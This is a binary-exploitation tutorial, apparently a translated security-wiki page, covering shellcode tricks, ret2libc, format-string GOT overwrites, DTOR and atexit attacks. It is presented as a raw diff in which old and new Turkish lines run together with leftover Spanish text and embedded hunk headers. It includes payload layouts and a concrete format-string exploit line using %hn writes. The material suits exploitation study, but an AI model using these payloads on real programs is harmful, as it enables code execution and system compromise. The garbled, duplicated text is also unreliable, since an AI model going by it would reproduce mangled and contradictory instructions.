Shellcode'lar oluşturulurken bir hile yapılabilir. İlk talimat bir çağrıya bir sıçrama yapmaktır. Çağrı, orijinal kodu çağırır ve aynı zamanda EIP'yi yığına yerleştirir. Çağrı talimatından sonra ihtiyacımız olan dizeyi eklemişizdir, bu nedenle bu EIP ile dizeyi işaretleyebilir ve aynı zamanda kodu devam ettirebiliriz. Shellcode'ları oluştururken bir hile yapılabilir. İlk talimat bir çağrıya bir sıçrama yapmaktır. Çağrı, orijinal kodu çağırır ve aynı zamanda EIP'yi yığına yerleştirir. Çağrı talimatından sonra ihtiyacımız olan dizeyi yerleştirdik, bu nedenle bu EIP ile dizeyi işaretleyebilir ve aynı zamanda kodu devam ettirebiliriz.
ÖRNEK **HİLE (/bin/sh)**: ÖR **HİLE (/bin/sh)**:
``` ```
jmp 0x1f ; Salto al último call jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string popl %esi ; Guardamos en ese la dirección al string
@ -113,11 +95,11 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
``` ```
**Yumurta Avcısı:** **Yumurta Avcısı:**
Bir işleme ilişkilendirilmiş bellek sayfalarını dolaşarak orada saklanan shellcode'u arayan küçük bir kod parçasıdır (shellcode'da yer alan bir imza arar). Kod enjekte etmek için sadece küçük bir alanın olduğu durumlarda faydalıdır. Bir işleme ilişkilendirilmiş bellek sayfalarını dolaşan ve orada saklanan shellcode'u arayan küçük bir kod parçasıdır (shellcode'da yer alan bir imza arar). Kod enjekte etmek için sadece küçük bir alan olduğu durumlarda faydalıdır.
**Polimorfik Shell Kodları** **Polimorfik Shellcode'lar**
Küçük kodlarla şifrelenmiş kabuklardır ve bunları çözen ve onlara atlayan küçük kodlar içerirler, Call-Pop hilesini kullanarak şifrelenmiş bir örnek şöyle olabilir: Küçük kodlarla şifrelenmiş kabuklardır ve bunları çözen ve ona atlayan küçük kodlar içerirler, Call-Pop hilesini kullanarak şifrelenmiş bir örnek şöyle olabilir:
``` ```
global _start global _start
_start: _start:
@ -136,119 +118,37 @@ call init
sc: sc:
;Aquí va el shellcode ;Aquí va el shellcode
``` ```
1. **Frame Pointer (EBP) Saldırısı** ## **5. Ek Yöntemler**
EBP'yi değiştirebiliyor ancak EIP'yi değiştiremiyorsak kullanışlıdır.
Bir fonksiyondan çıkarken aşağıdaki assembly kodunun çalıştığını biliyoruz:
```
movl %ebp, %esp
popl %ebp
ret
```
De esta forma, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado.
En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la dirección de la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejecute el ret.
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4
**Off-by-One Exploit**\
Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP.
## **4. Métodos return to Libc**
Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar.
El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil.
* **cdecl(C declaration)** Mete los argumentos en el stack y tras salir de la función limpia la pila
* **stdcall(standard call)** Mete los argumentos en la pila y es la función llamada la que la limpia
* **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila
Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs).
**export SHELL=/bin/sh**
Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\
**p system**\
**p exit**\
**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\
(Dentro de un start o algun breakpoint): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh
Una vez tengamos estas direcciones el **exploit** quedaría:
“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system)
De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit().
Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4).
Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver.
Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload.
Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable.
**Encadenamiento de funciones**
Basándonos en la técnica anterior, esta forma de exploit consiste en:\
Relleno + \&Función1 + \&pop;ret; + \&arg\_fun1 + \&Función2 + \&pop;ret; + \&arg\_fun2 + …
De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poner los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable**
**Encadenamiento mediante falseo de frames (encadenamiento de EBPs)**
Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret"
RELLENO
* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”)
* En el EIP ponemos de dirección una función &(leave;ret)
Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh”
el 2ºEBP sería: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls”
Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria.
(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib)
## **5.Métodos complementarios**
**Ret2Ret** **Ret2Ret**
Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí). EIP'ye bir adres yerleştirilemediğinde (EIP'nin 0xbf içermediği kontrol edilir) veya shellcode'un konumu hesaplanamadığında kullanışlıdır. Ancak, zafiyetli işlev bir parametre kabul eder (shellcode buraya gidecektir).
De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode. Bu şekilde, EIP'yi bir **ret** adresine değiştirerek, bir sonraki adres yüklenecektir (bu, işlevin ilk argümanının adresidir). Yani, shellcode yüklenecektir.
El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado) Saldırı şu şekilde olacaktır: SHELLCODE + Dolgu (EIP'ye kadar) + **\&ret** (yığına geçirilen adres, geçirilen parametre adresine işaret ettiği için yığının sonraki baytları shellcode'un başlangıcına işaret eder)
Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere. **strncpy** gibi işlevler, tamamlandığında yığında saklanan shellcode'un adresini kaldırarak bu tekniği imkansız hale getirir gibi görünmektedir. Yani, işlev için argüman olarak geçirilen adres (shellcode'u saklayan adres) 0x00 ile değiştirilir, bu nedenle ikinci **ret** çağrısında 0x00 ile karşılaşılır ve program çöker.
```
**Ret2PopRet**
```
Si kontrolümüz birinci argüman üzerinde yoksa ancak ikinci veya üçüncü argüman üzerinde kontrolümüz varsa, EIP'yi pop-ret veya pop-pop-ret adresine üzerine yazabiliriz.
**Murat Tekniği** **Murat Tekniği**
Linux'ta tüm programlar 0xbfffffff'den başlayarak haritalanır. Linux'ta tüm programlar 0xbfffffff'den başlayarak eşlenir.
Linux'ta yeni bir işlem için yığının nasıl oluşturulduğunu göz önünde bulundurarak, programın yalnızca shellcode'un bulunduğu bir ortamda başlatılmasını sağlayacak bir exploit geliştirilebilir. Bu adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) Linux'ta yeni bir işlem yığını nasıl oluşturulduğunu göz önünde bulundurarak, bir programın yalnızca shellcode'un bulunduğu bir ortamda başlatılmasını sağlayacak bir saldırı geliştirilebilir. Bu durumda, shellcode'un bulunduğu ortam değişkeninin adresi şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(FULL_EXECUTABLE_NAME) - strlen(shellcode)
Bu şekilde, shellcode'un bulunduğu ortam değişkeninin adresi kolayca elde edilebilir. Bu şekilde, shellcode'un bulunduğu değişkenin adresi kolayca elde edilir.
Bu, execle fonksiyonunun istenilen sadece çevresel değişkenleri içeren bir ortam oluşturmasına izin vermesi sayesinde mümkündür. Bu, execle işlevinin istenilen ortam değişkenlerini yalnızca oluşturmasına izin verdiği için mümkündür.
**ESP'ye Atla: Windows Tarzı** **ESP'ye Atlama: Windows Tarzı**
ESP'nin her zaman yığının başlangıcına işaret etmesi nedeniyle, bu teknik EIP'yi **jmp esp** veya **call esp** çağrısının adresiyle değiştirmeyi içerir. Böylece, EIP'nin üzerine yazıldıktan sonra shellcode kaydedilir çünkü **ret** komutunu çalıştırdıktan sonra ESP, shellcode'un kaydedildiği yerde olacak şekilde bir sonraki adrese işaret edecektir. ESP her zaman yığının başlangıcına işaret ettiği için, bu teknik EIP'yi bir **jmp esp** veya **call esp** çağrısının adresiyle değiştirerek gerçekleştirilir. Böylece, shellcode, EIP'nin üzerine yazılmasından sonra kaydedilir çünkü **ret** işlemi gerçekleştikten sonra ESP, hemen ardından shellcode'un saklandığı yere işaret edecek şekilde bulunacaktır.
Windows veya Linux'ta ASLR etkin değilse, **jmp esp** veya **call esp**'yi paylaşılan bir nesnede saklanmış olarak çağırabilirsiniz. ASLR etkinse, zafiyetli programın içinde arama yapılabilir. Windows veya Linux'ta ASLR etkin değilse, paylaşılan bir nesnede depolanan **jmp esp** veya **call esp** çağrıları yapılabilir. ASLR etkinse, zafiyetli program içinde arama yapılabilir.
Ayrıca, shellcode'u yığının ortasına yerleştirmek yerine EIP'nin bozulmasından sonra shellcode'u yerleştirebilmek, fonksiyonun ortasında yürütülen push veya pop komutlarının shellcode'a dokunmamasını sağlar (bu, fonksiyon yığınının ortasına yerleştirilirse olabilecek bir durumdur). Ayrıca, shellcode'u yığının ortasına yerleştirmek yerine EIP'nin bozulmasından sonra shellcode'u yerleştirebilmek, işlevin ortasında yürütülen push veya pop talimatlarının shellcode'a dokunmamasını sağlar (bu durum, işlevin yığının ortasına yerleştirilmesi durumunda meydana gelebilir).
Benzer şekilde, bir fonksiyonun shellcode'un nerede saklandığını döndürdüğünü biliyorsak, **call eax** veya **jmp eax (ret2eax)** çağrılabilir. Benzer şekilde, bir işlevin shellcode'un saklandığı adresi döndürdüğünü biliyorsak, **call eax** veya **jmp eax (ret2eax)** çağrıları yapılabilir.
**Tamsayı Taşmaları** **Tamsayı Taşmaları**
@ -277,95 +177,27 @@ printf("\nIntento de hack\n");
return 0; return 0;
} }
``` ```
Önceki örnekte programın 2 parametre beklediğini görüyoruz. İlk parametre takip eden dizenin uzunluğu ve ikinci parametre dizedir. Önceki örnekte programın 2 parametre beklediğini görebiliriz. İlk parametre takip eden dizenin uzunluğu ve ikinci parametre dizedir.
Eğer ilk parametre olarak negatif bir sayı verirsek, len < 256 çıkacaktır ve bu filtreyi geçeceğiz, ayrıca strlen(buffer) da l'den daha küçük olacaktır, çünkü l unsigned int türündedir ve çok büyük olacaktır. Eğer ilk parametre olarak negatif bir sayı verirsek, len < 256 çıkacaktır ve bu filtreyi geçeceğiz, ayrıca strlen(buffer) da l'den daha küçük olacaktır, çünkü l unsigned int türündedir ve çok büyük olacaktır.
Bu tür taşmalarda, programın işlemine bir şeyler yazmayı hedeflemiyor, ancak diğer zayıf noktaları sömürmek için kötü tasarlanmış filtreleri aşmayı amaçlıyor. Bu tür ırı taşmalar, programın işlemine bir şeyler yazmayı hedeflemez, ancak diğer zayıf noktaları sömürmek için kötü tasarlanmış filtreleri aşmayı amaçlar.
**Başlatılmamış Değişkenler** **Değişkenlerin Başlatılmaması**
Başlatılmamış bir değişkenin alabileceği değeri bilinmez ve bunu gözlemlemek ilginç olabilir. Önceki işlevdeki bir değişkenin aldığı değeri alabilir ve bu değişken saldırgan tarafından kontrol edilebilir. Başlatılmamış bir değişkenin alabileceği değer bilinmez ve bunu gözlemlemek ilginç olabilir. Önceki işlevdeki bir değişkenin değerini alabilir ve bu değişken saldırgan tarafından kontrol edilebilir.
## **Biçim Dizileri** ##
C'de **`printf`** işlevi bazı dizeleri **yazdırmak** için kullanılabilen bir işlevdir. Bu işlevin beklediği **ilk parametre**, **biçimleyicilerle** birlikte **ham metindir**. Beklenen **takip eden parametreler**, ham metinden **biçimleyicileri** **yerine koymak için** beklenen **değerlerdir**. ###
Zararlı bir metin, bu işlevin ilk argümanı olarak kullanıldığında zafiyet ortaya çıkar. Saldırgan, **printf biçim dizesi yeteneklerini kötüye kullanarak** özel bir giriş oluşturabilir ve bu şekilde **herhangi bir veriyi herhangi bir adrese yazabilir**. Bu şekilde **keyfi kod yürütebilir**. ###
Biçimleyiciler: ###
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** belirtilen adresin içine yazılan byte sayısını yazar. Yazılması gereken onaltılık sayı kadar byte yazarak istediğiniz veriyi yazabilirsiniz.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
Bu, program tarafından kullanılan **harici fonksiyonların adreslerini** içeren tablodur.
Bu tablonun adresini şu komutla alın: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
GEF'de **yürütülebilir dosyayı** yükledikten sonra **GOT'da** bulunan **fonksiyonları görebilirsiniz**: `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
GEF kullanarak **hata ayıklama** oturumu başlatabilir ve **`got`** komutunu çalıştırarak got tablosunu görebilirsiniz:
![](<../../.gitbook/assets/image (621).png>)
Bir ikili dosyada GOT, **fonksiyonların adreslerine** veya **fonksiyon adresini yükleyecek** olan **PLT** bölümüne sahiptir. Bu saldırının amacı, daha sonra **çalıştırılacak bir fonksiyonun GOT girişini** **`system`** **fonksiyonunun PLT adresiyle değiştirmektir**. İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak bir fonksiyonun GOT'unu** **değiştireceksiniz**.
Eğer **`system`** **betiğin içinde kullanılmıyorsa**, sistem fonksiyonunun GOT'ta bir girişi **olmayacaktır**. Bu senaryoda, öncelikle `system` fonksiyonunun adresini **sızdırmanız gerekecektir**.
**Procedure Linkage Table**, çözüm gerektiren tüm gerekli **sembolleri depolayan** ELF dosyasındaki **salt okunur** bir tablodur. Bu fonksiyonlardan biri çağrıldığında, **GOT** **akışı** **PLT'ye yönlendirecek** ve böylece **fonksiyonun adresini çözebilecek ve GOT'a yazabilecektir**.\
Sonra, o adrese bir çağrı yapıldığında **fonksiyon** doğrudan **çözülmeden** çağrılır.
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
### **Saldırı Akışı**
Önce açıklandığı gibi, amacımız daha sonra çağrılacak bir **fonksiyonun GOT tablosundaki adresini değiştirmektir**. İdeali, yürütülebilir bir bölümde bulunan bir **shellcode'un adresini ayarlamaktır**, ancak muhtemelen bir yürütülebilir bölüme bir shellcode yazamayacaksınız.\
Bu nedenle, **kullanıcının argümanlarını alan bir fonksiyonu** **üzerine yazmak** ve onu **`system`** **fonksiyonuna işaret etmek** farklı bir seçenektir.
Adresi yazmak için genellikle 2 adım atılır: **İlk olarak adresin 2 baytını yazarsınız** ve ardından diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
**HOB**, adresin 2 yüksek baytına **çağrılır**\
**LOB**, adresin 2 düşük baytına **çağrılır**
Bu nedenle, format dizesinin nasıl çalıştığından dolayı önce \[HOB, LOB]'den **daha küçük olanını yazmanız** ve ardından diğerini yazmanız gerekir.
Eğer HOB < LOB ise\
`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Eğer HOB > LOB ise\
`[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
### **Format Dizesi Saldırısı Şablonu**
Format dizilerini kullanarak GOT'u sömürmek için bir **şablon** bulabilirsiniz:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
### **.fini\_array** ### **.fini\_array**
Temelde, bu, programın **bitmeden önce çağrılacak** olan **fonksiyonları içeren** bir yapıdır. Bu, **sadece bir adrese atlayarak shellcode'unuzu çağırabilirsiniz** veya **format dizesini ikinci kez sömürmek için tekrar main'e dönmek zorunda kaldığınız durumlarda** ilginç olabilir. Temelde, bu programın bitmeden önce çağrılacak işlevlerin bulunduğu bir yapıdır. Bu, **shellcode'unuza bir adrese atlayarak çağırabiliyorsanız** veya format dizesini ikinci kez **sömürmek için tekrar main'e dönmek gerektiğinde** ilginç olabilir.
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
@ -376,18 +208,16 @@ Contents of section .fini_array:
#Put your address in 0x8049934 #Put your address in 0x8049934
``` ```
Not edin ki bu **sonsuz döngü** oluşturmayacak çünkü ana programa geri döndüğünüzde canary fark edecek, yığının sonu bozulmuş olabilir ve işlev tekrar çağrılmayacak. Bu sayede zafiyetin **1 kez daha yürütülmesine** izin verilecek. ### **İçerikleri Dökümlemek İçin Format Dizileri**
### **İçeriği Dökümlemek için Format Dizileri** Bir format dizesi ayrıca programın belleğinden içerikleri dökmek için de kötüye kullanılabilir.\
Örneğin, aşağıdaki durumda, bir bayrağa işaret eden bir yerel değişken bulunmaktadır. Eğer bellekte bayrağa işaret eden işaretçinin nerede olduğunu bulursanız, `printf`'in o adresi erişmesini sağlayabilir ve bayrağı yazdırabilirsiniz:
Bir format dizesi ayrıca programın belleğinden içerik **dökmek** için kötüye kullanılabilir.\ Yani, bayrak **0xffffcf4c** adresindedir
Örneğin, aşağıdaki durumda yığında bir bayrağa işaret eden bir **yerel değişken** var. Eğer **bellekte bayrağa işaret eden işaretçinin** nerede olduğunu **bulursanız**, **printf'in** o **adrese erişmesini** sağlayabilir ve **bayrağı yazdırabilirsiniz**:
Yani, bayrak **0xffffcf4c** adresinde
![](<../../.gitbook/assets/image (618) (2).png>) ![](<../../.gitbook/assets/image (618) (2).png>)
Ve sızıntıdan **bayrağa işaret eden işaretçinin** **8.** parametrede olduğunu görebilirsiniz: Ve sızıntıdan, bayrağa işaret eden işaretçinin **8.** parametrede olduğunu görebilirsiniz:
![](<../../.gitbook/assets/image (623).png>) ![](<../../.gitbook/assets/image (623).png>)
@ -395,26 +225,26 @@ Bu nedenle, **8. parametreye erişerek** bayrağı alabilirsiniz:
![](<../../.gitbook/assets/image (624).png>) ![](<../../.gitbook/assets/image (624).png>)
**Önceki zafiyeti** takip ederek ve içerik sızdırabileceğinizi fark ederek **`printf`**'e **işaretçileri ayarlayabilir** ve **yürütülebilir** olan bölüme **tamamen dökebilirsiniz**! Önceki saldırıyı takip ederek ve içerik sızdırabileceğinizi fark ederek, `printf`'e **işaretçileri ayarlayabilir** ve **yürütülebilir** olan bölüme **erişebilir** ve onu **tamamen dökebilirsiniz**!
### **DTOR** ### **DTOR**
{% hint style="danger" %} {% hint style="danger" %}
Günümüzde bir dtor bölümü olan bir ikili dosya bulmak çok **garip**. Günümüzde bir dtor bölümü olan bir ikili bulmak çok **garip**.
{% endhint %} {% endhint %}
Yıkıcılar, programın **sona ermeden önce yürütülen işlevlerdir**.\ Yıkıcılar, programın **sona ermeden önce yürütülen işlevlerdir**.\
Bir **adresi** bir **shellcode'a yazmayı** başarırsanız **`__DTOR_END__`** içinde, bu programın sona ermeden önce **yürütülecektir**.\ Eğer bir **adresi** bir **shellcode**'a **yazmayı** başarırsanız, bu, programın sona ermeden önce **yürütülecektir**.\
Bu bölümün adresini alın: Bu bölümün adresini alın:
```bash ```bash
objdump -s -j .dtors /exec objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR” rabin -s /exec | grep “__DTOR”
``` ```
Genellikle **DTOR** bölümünü `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Bu yüzden sadece bu değerleri görüyorsanız, bu, **herhangi bir işlevin kaydedilmediği anlamına gelir**. Bu nedenle, **`00000000`** değerini **üzerine yazarak** onu çalıştırmak için **shellcode** adresiyle değiştirin. Genellikle **DTOR** bölümünü `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Bu yüzden sadece bu değerleri görüyorsanız, bu, **herhangi bir fonksiyonun kaydedilmediği anlamına gelir**. Bu yüzden **`00000000`**'ı **üzerine yazarak** shellcode'ı **çalıştırmak için adresi** yazın.
### **Format Strings to Buffer Overflows** ### **Format Strings to Buffer Overflows**
**sprintf**, biçimlendirilmiş bir dizeyi bir **değişkene taşır**. Bu nedenle, bir dizenin biçimlendirmesini **kullanarak**, içeriğin kopyalandığı değişkende bir **tampon taşmasına neden olabilirsiniz**.\ **sprintf**, bir **değişkene** biçimlendirilmiş bir dize **taşır**. Bu nedenle, bir dizenin biçimlendirmesini **kullanarak**, içeriğin kopyalandığı değişkende bir **tampon taşmasına neden olabilirsiniz**.\
Örneğin, yük `%.44xAAAA`, değişkene **44B+"AAAA" yazacaktır**, bu da bir tampon taşmasına neden olabilir. Örneğin, yük `%.44xAAAA`, değişkene **44B+"AAAA" yazacaktır**, bu da bir tampon taşmasına neden olabilir.
### **\_\_atexit Yapıları** ### **\_\_atexit Yapıları**
@ -423,9 +253,9 @@ Genellikle **DTOR** bölümünü `ffffffff` ve `00000000` değerleri **arasında
Bugünlerde bunu **saldırmak çok garip**. Bugünlerde bunu **saldırmak çok garip**.
{% endhint %} {% endhint %}
**`atexit()`**, **parametre olarak başka işlevlerin geçirildiği bir işlevdir**. Bu **işlevler**, bir **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaktır**.\ **`atexit()`**, **parametre olarak başka fonksiyonların** geçirildiği bir işlevdir. Bu **fonksiyonlar**, bir **`exit()`** veya **main**'in **dönüşü sırasında yürütülecek**tir.\
Bu işlevlerden herhangi birinin adresini örneğin bir shellcode'a yönlendirebilirseniz, **işlemi kontrol edersiniz**, ancak bu şu anda daha karmaşıktır.\ Örneğin, bu **fonksiyonlardan herhangi birinin adresini** örneğin bir shellcode'a işaret etmek için **değiştirebilirseniz**, **işlemi kontrol edersiniz**, ancak bu şu anda daha karmaşıktır.\
Şu anda **çalıştırılacak işlevlerin adresleri** birkaç yapı arkasında gizlenmiştir ve sonunda işlevlerin adresleri değil, **XOR ile şifrelenmiş ve rastgele bir anahtarla kaydırılmıştır**. Bu nedenle, bu saldırı vektörü şu anda **en azından x86** ve **x64\_86** için çok kullanışlı değildir.\ Şu anda **yürütülecek fonksiyonların adresleri** birkaç yapı arkasında gizlenmiştir ve sonunda işaret ettiği adresler fonksiyonların adresleri değil, **XOR ile şifrelenmiş ve rastgele bir anahtarla kaydırılmıştır**. Bu nedenle, bu saldırı vektörü şu anda **en azından x86** ve **x64\_86** üzerinde çok kullanışlı değildir.\
**Şifreleme işlevi** **`PTR_MANGLE`**'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi **diğer mimariler**, girdi olarak aldığı gibi **şifrelemeyi uygulamaz**. Bu nedenle, bu mimariler bu vektör tarafından saldırıya uğrayabilir. **Şifreleme işlevi** **`PTR_MANGLE`**'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi **diğer mimariler**, girdi olarak aldığı gibi **şifrelemeyi uygulamaz**. Bu nedenle, bu mimariler bu vektör tarafından saldırıya uğrayabilir.
### **setjmp() & longjmp()** ### **setjmp() & longjmp()**
@ -434,288 +264,112 @@ Bu işlevlerden herhangi birinin adresini örneğin bir shellcode'a yönlendireb
Bugünlerde bunu **saldırmak çok garip**. Bugünlerde bunu **saldırmak çok garip**.
{% endhint %} {% endhint %}
**`Setjmp()`**, **bağlamı (kayıtları) kaydetmeyi sağlar**\ **`Setjmp()`**, **bağlamı** (kayıtları) **kaydetmeye izin verir**\
**`longjmp()`**, **bağlamı geri yüklemeyi sağlar**.\ **`longjmp()`**, **bağlamı geri yüklemeye izin verir**.\
Kaydedilen kayıtlar: `EBX, ESI, EDI, ESP, EIP, EBP`\ **Kaydedilen kayıtlar**: `EBX, ESI, EDI, ESP, EIP, EBP`\
Olan şudur ki EIP ve ESP, **`PTR_MANGLE`** işlevi tarafından geçirilir, bu nedenle **bu saldırıya duyarlı mimariler yukarıdakiyle aynıdır**.\ Olan şudur ki EIP ve ESP **`PTR_MANGLE`** işlevi tarafından geçirilir, bu nedenle **bu saldırıya duyarlı mimariler yukarıdakiyle aynıdır**.\
Hata kurtarma veya kesmeler için kullanışlıdır.\ Hata kurtarma veya kesmeler için kullanışlıdır.\
Ancak okuduklarıma göre, diğer kayıtlar korunmamaktadır, bu nedenle, çağrılan işlevin içinde `call ebx`, `call esi` veya `call edi` varsa kontrol ele geçirilebilir. Veya EBP değiştirilerek ESP değiştirilebilir. Ancak okuduğum kadarıyla, diğer kayıtların korunmadığını, bu nedenle `call ebx`, `call esi` veya `call edi` içeren işlevin içindeyken kontrolun alınabileceğini belirtir. Veya EBP'yi değiştirerek ESP'yi değiştirebilirsiniz.
**VTable ve VPTR in C++** **VTable ve VPTR in C++**
Her sınıfın bir **Vtable**'ı vardır, bu bir **yöntemler dizisidir**. Her sınıfın bir **Vtable**'ı vardır, bu bir **yöntemler dizisidir**.
Her bir **sınıfın nesnesi**, sınıfının dizisinin bir **işaretçisi olan bir VPtr'ye** sahiptir. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle VPtr'nin **üzerine yazılması başarılı olursa**, bir işlevi çalıştırmak için VPtr'nin bir sahte yönteme **yönlendirilmesi** mümkün olabilir ve bu da shellcode'a gidebilir. Her bir **sınıfın nesnesi**, sınıfının bir **dizisine işaret eden** bir **VPtr**'ye sahiptir. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle **VPtr'nin üzerine yazılması başarılı olursa**, bir işlevi yürütmek için bir dummy yönteme işaret edecek şekilde **değiştirilebilir**.
## **Önleyici ve Kaçınma Önlemleri** ## **Önleyici ve Kaçınma Önlemleri**
**Printf'e Return** ###
Bir tampon taşmasını bir biçim dizesi hatasına dönüştürmek için bir tekniktir. EIP'yi bir işlevin printf'ine yönlendirmek ve işlem durumu hakkında değerler elde etmek için manipüle edilmiş bir biçim dizesini argüman olarak geçirmekten oluşur. **Libsafe Değiştirme**
**Kütüphanelere Saldırı** Şununla etkinleştirilir: LD\_PRELOAD=/lib/libsafe.so.2\
veya\
Kütüphaneler, 16 bit rastgelelikle bir konumda bulunur = 65636 olası adres. Bir sunucu saldırıya uğrayabilirse fork() çağrısı yaparsa, bellek adresleri alanı çocuk süreçte kopyalanır ve değişmez. Bu nedenle, libc'nin usleep() işlevine brute force saldırısı yapılabilir, "16" argümanı olarak geçirilerek normalden daha uzun sürede yanıt verirse, bu işlev bulunmuş olur. Bu işlevin nerede olduğunu bildiğinizde delta_mmap alınabilir ve diğerleri hesaplanabilir.
ASLR'nin çalıştığından emin olmanın tek yolu 64 bit mimarisini kullanmaktır. Burada brute force saldırıları yoktur.
### Relro
